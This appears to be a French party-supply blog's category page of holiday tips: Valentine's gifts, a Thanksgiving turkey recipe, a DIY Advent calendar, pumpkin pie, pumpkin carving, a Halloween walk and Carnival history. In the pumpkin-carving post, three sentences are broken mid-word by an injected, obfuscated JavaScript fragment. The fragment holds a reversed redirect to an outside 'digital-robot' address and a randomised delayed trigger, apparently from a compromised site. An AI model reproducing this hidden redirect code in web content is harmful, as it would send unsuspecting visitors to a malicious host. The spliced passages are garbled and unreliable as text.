Catégories
Idées & Conseils

6 idées cadeaux pour la St-Valentin

Veux-tu être ma Valentine… mon Valentin ?

Quand vient le mois de février on se demande toujours quels cadeaux offrir à sa Valentine…ou à son Valentin pour lui montrer notre amour ! Bien que souvent nous sommes à court d’idée ! Alors voici donc quelques petits présents, qui à coup sûr lui feront plaisir !

1 – Pour commencer, quoi de mieux que de débuter la journée avec un bon petit-déjeuner et des crêpes en forme de cœur ? Et oui c’est possible ! Avec notre poêle spécial st-valentin !

2 – Pas de petit-déjeuner sans café ! Un mug pour lui rappeler à chaque café à quel point vous l’aimez.

3 – Offrez vos cadeaux accompagnés d’une belle composition de ballon – rouge – blanc – rose ! Mettez le nombre de ballons que vous voulez en les gonflants à l’hélium, mais attention tenez les bien sinon ils risquent de s’envoler !

4 – Pour éviter la catastrophe des ballons qui s’envolent nous avons la solution ! Mettez une bougie (éteinte bien sûr) à la base des ballons ! Mais ce n’est pas qu’une simple bougie, il y a bien évidemment une surprise à l’intérieur…un bijou d’exception !

5 – Une Photo que vous avez faite ensemble !

6 – Bocal à mots, glissez 365 mots doux (souvenirs, citations, mots d’amour…) qu’il… ou qu’elle ouvrir tous les jours!

Catégories
Idées & Conseils

Recette Thanksgiving

Il n’y a pas qu’aux États-Unis qu’on peut fêter Thanksgiving avec une dinde.

Alors, voici la recette de cette fameuse dinde que l’on voit même dans les films !

Ingrédients :

  • Une dinde de 8 kilos
  • 115gr de beurre
  • 500gr de sel
  • 2 carottes
  • 1 oignon
  • 2 branches de céleri
  • 2 branches de thym
  • 1 feuille de laurier
  • Vin blanc
  • Stuffing (farce)

PRÉPARATION

Étape 1 –

La veille du repas, laver la dinde et récupérer les abats

Étape 2 –

Frotter la dinde avec le sel, puis la placer dans un contenant assez large pour pouvoir la recouvrir.

Étape 3 –

Recouvrir la dinde d’eau et l’assaisonner avec du poivre et du thym. La laisser au réfrigérateur toute la nuit.

Étape 5 –

Le jour J, sortir la dinde du contenant et la relaver jusqu’à ce qu’elle sèche entièrement. Pendant ce temps préchauffer le four à 175 degrés.

Étape 6 –

Une fois la dinde séchée, la retourner, poitrine vers le bas et la mettre dans son plat au four.

Étape 7 –

Étaler 60 grammes de beurre fondu sur la dinde et la fourrer avec le stuffing (la farce).

Étape 8 –

Ficeler les pattes et mettre les légumes coupés en morceaux dans le plat au tour de la dinde, vous pouvez y ajouter un verre de vin blanc pour plus de saveurs.

Étape 9 –

Aux alentours de 2h45 de cuisson, retourner la dinde en faisant attention à la farce et badigeonner la poitrine avec le reste du beurre fondu ( 60 grammes ).

Étape 10 –

Selon le poids de votre dinde, il faudra compter encore 1h/1h30 de cuisson avant de pouvoir sortir la dinde du four.

Étape 11 –

Une fois votre dinde cuite, attendre environ 30 minutes avant de la découper.

Bonne dégustation !

Donnez-nous votre avis dans les commentaires !

Catégories
Idées & Conseils

DIY Calendrier de l’avent

DIY Calendrier de l’avent de Noël maison.

La période de Noël arrive, pour aider les petits et les grands à patienter jusqu’au passage du père-noël. Il y a le calendrier de l’avant remplit de goodies et de chocolats.

LE MATERIEL :

  • 24 rouleaux de papier toilette vides ou des sachets (tissu ou carton)
  • 1 cintre ou bout de bois
  • Une planche de 24 numéros
  • Une bobine de ficelle
  • Une paire de ciseau
  • une perforateur

ETAPE 1 –

Si vous avez choisi le rouleau de papier toilette, rabattez les extrémités afin de former un paquet, perforez un rabats et les pliez-les.

Si vous avez utilisé des sachets en carton perforez le bout de votre sachet.

ETAPE 2 –

Avec la planche, découpez chaque numéro et les collez-les sur chaque boite.

Pour plus de décoration et d’amusement vous pouvez ajouter des stickers, de la ficelle/dentelle, des dessins…

ETAPE 3 –

Vous pouvez enfin remplir vos petites boites. De chocolats, goodies (porte-clef, des mots, accessoires…), des activités.

ETAPE 4 –

Découpez des ficelles à des longueurs différentes et passez-les dans les trous que vous avez percé au préalable.

Vous pouvez maintenant les attacher au cintre ou au bout de bois à des niveaux différents.

Et voilà, vous avez un magnifique calendrier de l’avent fait maison. Alors comment avez-vous trouvez ce tuto? Montrez nous vos calendrier !

Catégories
Idées & Conseils

Recette tarte à la citrouille

La saison des citrouilles et des potirons est arrivée alors quoi de mieux que de préparer un tarte à la citrouille qu’avec ses petits monstres ?

Et si on préparait cette tarte ensemble !

TARTE A LA CITROUILLE SUCRÉE :

Temps de préparation : 45 min

Temps de cuisson : 40 min

Ingrédients qu’il vous faut :

  • 1 pâte brisée ou sablée
  • 150g de sucre
  • 1 sachet de sucre vanillé
  • 1 pincée de muscade
  • sel
  • 800g de citrouille
  • 2 œufs entiers
  • 2 jaunes d’œufs
  • 20 cl de crème fraîche

PRÉPARATION

ÉTAPE 1

Faîtes cuire votre citrouille à la vapeur pendant 15 à 20 min.

ÉTAPE 2

Une fois cuite, en faire un purée.

ÉTAPE 3

Ajoutez la crème, les œufs, le sucre, la pincée de sel et la muscade (ne pas trop en mettre)

ÉTAPE 4

Une fois le mélange bien homogène, il doit être liquide.

ÉTAPE 5

Déroulez votre pâte dans un moule à tarte et piquez avec une fourchette.

ÉTAPE 6

Versez le mélange dans un plat à tarte.

ÉTAPE 7

Enfournez pendant 30 à 40 min suivant la puissance de votre four.

ÉTAPE 8

Dégustez de préférence froid.

ORIGINE

La Pumpkin Pie, la tarte à la citrouille, est un dessert traditionnel des États-Unis et du Canada. Elle est consommée bien souvent en automne et début hivers, pendant Thanksgiving et Noël. La citrouille est un symbole de moisson et se retrouve également lors de la fête d’Halloween.

Catégories
Idées & Conseils

Sculpter le visage de la citrouille…

Halloween est maintenant dans quelques jours, et la tradition dit qu’il n’y a pas d’Halloween sans citrouilles. Il n’y a rien de difficile, creuser, découper et salissez vous les mains.

Alors prenez votre plus belle citrouille et transformons la !

Le matériel nécessaire

  • Une grosse citrouille ou potiron
  • Un saladier pour pouvoir y déposer la chair
  • Un marqueur ou un feutre pour dessiner le modèle souhaité
  • Un couteau à dents
  • Une bougie à mettre à l’intérieur une fois fini.

ETAPE 1 – Creuser la citrouille

Pour commencer passez votre citrouille sous l’eau. Dessinez les contobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tours du chapeau pour faire une grande ouverture ronde pour y glisser la main, découpez, puis retirez le chapeau. (Ne le jetez pas).

ETAPE 2 – Vider les graines et filaments

Retirer avec les mains rapidement l’intérieur, prenez une cuillère, et grattez bien la chair, les fibres et les pépins tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en faisant attention à ne pas transpercer la citrouille.

Vous pouvez garder les pépins pour les ré-utiliser et faire un velouté de potiron/citrouille ou une tarte avec la chair.

ETAPE 3 – Dessiner le visage

A l’aide d’un modèle, d’un pochoir ou alors de son imagination dessinez avec un feutre le visage de ce petit monstre.

Si vous voulez faire une correction, gommez avec un papier absorbant mouillé.

ETAPE 4 – Découper et sculpter

Une fois le visage dessiné, prenez un couteau pour découper les contobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tour et poussez les morceaux vers l’intérieur ou l’extérieur pour les retirer.

ETAPE 5 – Allumer une bougie

Placez une bougie ou une guirlande à l’intérieur de la citrouille et refermez avec chapeau découpez au début.

Si vous utilisez une vraie bougie ne remettez pas le chapeau car cela risque de faire brûler la chair et d’être dangereux.

Exemple de pochoir :

Catégories
Idées & Conseils

Une idée pour Halloween …

… organisez une randonnée pédestre.
C’est tout simple, il s’agit de préparer une randonnée semi-nocturne sur le thème « Halloween ».
Un circuit de 4 km est tout à fait adapté aux enfants. Il peut s’agir d’un circuit urbain ou bien à travers les chemins de campagne selon votre lieu d’habitation.
Petits et grands seront déguisés en sorcières, fantômes, squelettes, vampires et autres monstres d‘Halloween.
Attention, pensez à bien vous couvrir car à la fin octobre, les fins de journée sont fraîches…
Le parcours pourra être jalonné de citrouilles et tous les participants apprécieront les haltes animations (senteurs, goût) et dégustations (soupe à la citrouille, cakes, fruits, miel, …) ainsi que les décorations et surprises « effrayantes » qui ponctueront le parcours.

A l’arrivée, participants et organisateurs se retrouveront au tour du verre de l’amitié dans une ambiance très conviviale.
Quant aux enfants ils seront ravis de leur moisson de bonbons récoltés sur le trajet grâce à la générosité des habitants dont certains auront décoré leur maison.

Idée d’animation : dans l’après-midi précédent la rando, avec les enfants, vous pouvez organiser un atelier « sculpture de citrouilles ». Les œuvres jalonneront le parcours du soir et chacun pourra repartir avec sa composition à la fin de la soirée.

Catégories
Idées & Conseils

Loteries d’enveloppes par FILLON – mode d’emploi

Catégories
Idées & Conseils

L’histoire du Carnaval

Le Carnaval est un événement festif lié au carême. C’est une période de divertissement pendant laquelle l’ordre établi et la distribution des rôles sont renversés. Le riche devient pauvre et le mendiant est sacré Roi du Carnaval. Chacun se cache derrière son masque ou son maquillage pour faire ce qui est interdit en temps normal.Le Carnaval précède le Mercredi des Cendres et le Carême. Il commence le jour de l’Épiphanie, Jour des Rois, et se termine le jour de Mardi-gras veille du Mercredi des Cendres. Le point culminant est le jour du Mardi-gras.
Depuis le Moyen-Age
Dans un premier temps, l’Église condamna les manifestations carnavalesques héritées des saturnales romaines, puis ne pouvant s’y opposer, elle les récupéra.
Les déguisements de Carnaval permettaient non seulement de s’amuser, mais aussi de transgresser les interdits de l’ordre social.
Les plus célèbres dans le monde
Les Carnavals les plus célèbres sont le Carnaval de Rio durant lequel défilent les élèves des écoles de samba, Le Carnaval de Venise où les participants rivalisent d’élégance et masquent leur visage, le Carnaval de Dunkerque où la foule brandit des parapluies tout en dansant et chantant. Citons aussi le Carnaval de Québec où la glace et la neige sont à l’honneur.
Les spécialités de Carnaval
En France, la tradition veut que l’on déguste de délicieux beignets sucrés même si les crêpes conservent de nombreux adeptes…